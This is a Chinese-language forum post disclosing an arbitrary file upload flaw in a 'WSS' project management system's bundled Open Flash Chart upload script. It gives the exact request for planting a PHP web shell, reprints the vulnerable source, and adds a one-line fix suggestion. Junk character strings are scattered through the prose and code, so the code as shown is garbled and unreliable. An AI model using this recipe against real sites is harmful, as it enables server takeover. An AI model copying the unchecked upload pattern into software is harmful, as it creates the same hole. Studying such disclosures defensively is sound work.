WSS项目管理系统Post get shell

admin

POST 数据漏洞文件执行任意后缀文件保存
漏洞文件/chart/php-ofc-library/ofc_upload_image.php

* Q9 H; `! j" G  c2 ]利用：
/chart/php-ofc-library/ofc_upload_image.php?name=hfy.php hfy.php 文件名

Post任意数据
* y& A0 l# k, g3 O4 X保存位置http://localhost/chart/tmp-upload-images/hfy.php


" V& d) v( n8 H最新版wss漏洞文件，即使是收费版本也有的，在新浪商店部署的demo~

<?php
3 C2 l& c  Q, G+ l( L1 B7 Y
* B  W" P. Y; v$ T//
1 }& |5 P- `3 J& z1 V: o1 l) x// In Open Flash Chart -> save_image debug mode, you
% C$ ]+ s+ F, s& V0 W  B// will see the 'echo' text in a new window.
//

/*
( n" \. ?4 {2 f) l$ [5 V+ ]7 E
print_r( $_GET );
print_r( $_POST );
9 _1 H- U' B- B, L- x1 U$ Bprint_r( $_FILES );

print_r( $GLOBALS );
  O! N, J: M- w( s& Aprint_r( $GLOBALS["HTTP_RAW_POST_DATA"] );
) R! x* z! K5 m/ V# I- ?
*/
, I3 K5 x& }. w2 s6 a8 |5 w// default path for the image to be stored //
$default_path = '../tmp-upload-images/';

% u. q. }# ^6 n/ x% l7 P: J; vif (!file_exists($default_path)) mkdir($default_path, 0777, true);
+ _  c6 b! J; g) Q/ `
// full path to the saved image including filename //
  ?/ G- T" n# Q- x! K7 a7 C$destination = $default_path . basename( $_GET[ 'name' ] );

6 `8 X7 W( J0 Q; w6 X6 [  c5 S& X/ ]+ cecho 'Saving your image to: '. $destination;
/ c$ y7 q; w+ r9 b3 ?9 z2 }# N// print_r( $_POST );
2 p; J4 ^. v, U; q& `+ T// print_r( $_SERVER );
// echo $HTTP_RAW_POST_DATA;

' p' D6 c: c- N//
// POST data is usually string data, but we are passing a RAW .png
// so PHP is a bit confused and $_POST is empty. But it has saved
// the raw bits into $HTTP_RAW_POST_DATA
//

1 o4 M$ |4 J' |/ Q/ e5 \9 v$jfh = fopen($destination, 'w') or die("can't open file");
2 Y, g0 A# a" V1 cfwrite($jfh, $HTTP_RAW_POST_DATA);
+ W$ A5 h# e/ ^! s6 F& U5 `3 s0 o. Z  @fclose($jfh);
. a9 H6 q2 _1 h. Q- k- U2 j! d; ]
//
// LOOK:
+ o/ o  ?% e( x/ \% Z//
exit();
8 ]) ~6 _4 q6 X+ l//
// PHP5:
//
" _* l% Y% {2 q) d* G. _

// default path for the image to be stored //
/ z0 t# r, ~. s$default_path = 'tmp-upload-images/';

if (!file_exists($default_path)) mkdir($default_path, 0777, true);
. i$ ?8 C$ G& |' W' u
& {0 `5 w" }9 J; G// full path to the saved image including filename //
$destination = $default_path . basename( $_FILES[ 'Filedata' ][ 'name' ] );

// move the image into the specified directory //
if (move_uploaded_file($_FILES[ 'Filedata' ][ 'tmp_name' ], $destination)) {
9 x; H  v: {  s    echo "The file " . basename( $_FILES[ 'Filedata' ][ 'name' ] ) . " has been uploaded;";
6 D  \3 Q6 J; Q9 l5 n} else {
" O' t+ K$ W" x7 |    echo "FILE UPLOAD FAILED";
' u% F$ N3 r( @}
# ~3 ^) [' R5 L' j, p, z4 V. U
6 t/ _; k2 ]! `8 A! M
# u$ x, @& v" ^! B$ L& s?>

: w( [# Q& \% a  k% o



4 E" \/ @- O9 k( o, v
2 Y8 w1 ?1 J: }2 s6 {% i修复方案：
这个漏洞文件就是个杯具，怎么破，加权限验证，后缀等验证~，自己搞
- R. V/ f. ?- m" c" B

) k6 ~& S$ d: Q: F# m# l% h
- m8 Y0 A6 {: D6 ^